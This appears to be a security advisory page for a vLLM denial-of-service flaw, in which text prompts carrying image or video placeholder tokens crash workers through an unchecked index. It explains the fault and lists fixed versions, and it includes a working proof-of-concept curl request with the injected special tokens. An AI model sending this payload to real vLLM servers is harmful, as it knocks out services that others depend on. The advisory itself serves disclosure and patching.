vLLM Vulnerable to Remote DoS via Special-Token Placeholders
Published 5 May 2026 · Updated 10 Sept 2026
Is your project on an affected vllm?
Look after several Python apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie
Affected package
- Affected
- >=0.6.1 <0.20.0
- Fixed in
- 0.20.0
pip install 'vllm>=0.20.0'Details
Summary
This report explains a Token Injection vulnerability in vLLM’s multimodal processing. Unauthenticated, text-only prompts that spell special tokens are interpreted as control. Image and video placeholder sequences supplied without matching data cause vLLM to index into empty grids during input-position computation, raising an unhandled IndexError and terminating the worker or degrading availability. Multimodal paths that rely on image_grid_thw/video_grid_thw are affected. Severity: High (remote DoS). Reproduced on vLLM 0.10.0 with Qwen2.5-VL.
Details
- Affected component: multimodal input position computation.
- File/functions (paths are indicative):
- vllm/model_executor/layers/rotary_embedding.py
- get_input_positions_tensor(...)
- _vl_get_input_positions_tensor(...)
- Failure mechanism:
- The code counts detected vision tokens and then indexes video_grid_thw/image_grid_thw accordingly.
- When user input carries placeholder tokens but no actual multimodal payload, these grids are empty. The code does not bounds-check before indexing.
Representative snippet (context):
# vllm/model_executor/layers/rotary_embedding.py
@classmethod
def _vl_get_input_positions_tensor(
cls,
input_tokens,
hf_config,
image_grid_thw,
video_grid_thw,
...,
):
# detect video tokens
video_nums = (vision_tokens == video_token_id).sum()
# later in processing
t, h, w = (
video_grid_thw[video_index][0], # IndexError if no video data
video_grid_thw[video_index][1],
video_grid_thw[video_index][2],
)Abbreviated call path:
OpenAI API request → vllm.v1.engine.core: step/execute_model → vllm.v1.worker.gpu_model_runner: _update_states/execute_model → vllm.model_executor.layers.rotary_embedding: get_input_positions_tensor → _vl_get_input_positions_tensor → IndexError: list index out of range
PoC
Environment
- vLLM: 0.10.0
- Model: Qwen/Qwen2.5-VL-3B-Instruct
- Launch server:
python -m vllm.entrypoints.openai.api_server \ --model Qwen/Qwen2.5-VL-3B-Instruct \ --port 8000
Request (text-only, no image/video data)
cat > request.json <<'JSON'
{
"model": "Qwen/Qwen2.5-VL-3B-Instruct",
"messages": [
{
"role": "user",
"content": [
{ "type": "text",
"text": "what's in picture <|vision_start|><|image_pad|><|vision_end|>" }
]
}
]
}
JSON
curl -s http://127.0.0.1:8000/v1/chat/completions \
-H 'Content-Type: application/json' \
--data @request.jsonObserved result
- HTTP 500; logs show IndexError: list index out of range from _vl_get_input_positions_tensor(...).
- In some deployments, the worker exits and capacity remains reduced until manual restart.
Impact
- Type: Token Injection leading to Remote Denial of Service (unauthenticated). A single request can trigger the fault.
- Scope: Any vLLM deployment that serves VLMs and accepts raw user text via OpenAI-compatible endpoints (self-hosted or proxied/managed fronts).
- Effect: Request → unhandled exception in position computation → worker termination / service unavailability.
Fixes
- Changes associated with https://github.com/vllm-project/vllm/issues/32656
Credits
Pengyu Ding (Infra Security, Ant Group) Ziteng Xu (Infra Security, Ant Group)
Is GHSA-hpv8-x276-m59f in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected vllm, and gives you the command that fixes it.
More advisories for vllm
- LowCVE-2026-115917vLLM: Permissive default CORS origins allow cross-origin requests to the vLLM HTTP server · 28 Oct 2026
- MediumCVE-2026-115913vLLM: Phi-4 multimodal audio encoder materializes and retains full attention matrices: a single max-length audio OOM-crashes the vLLM engine · 28 Oct 2026
- MediumCVE-2026-115914vLLM DeepSeek-OCR image processing vulnerable to denial of service · 28 Oct 2026
- HighCVE-2026-115915vLLM: Untrusted EPS inputs can trigger denial of service or Ghostscript RCE · 28 Oct 2026
- HighCVE-2026-115912vLLM: Public multimodal SHM handle forgery reaches worker-side `pickle.loads()` with insecure serialization disabled · 28 Oct 2026
- MediumCVE-2026-115916vLLM: Out-of-vocabulary prompt token id passes input validation and triggers a CUDA device-side assert (engine crash / DoS) · 28 Oct 2026
References
- Linkgithub.com/vllm-project/vllm/security/advisories/GHSA-hpv8-x276-m59f
- Advisorynvd.nist.gov/vuln/detail/CVE-2026-44222
- Linkgithub.com/vllm-project/vllm/issues/32656
- Advisorygithub.com/advisories/GHSA-hpv8-x276-m59f
- Linkgithub.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2026-3409.yaml
- Packagegithub.com/vllm-project/vllm
- Linkpypi.org/project/vllm
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.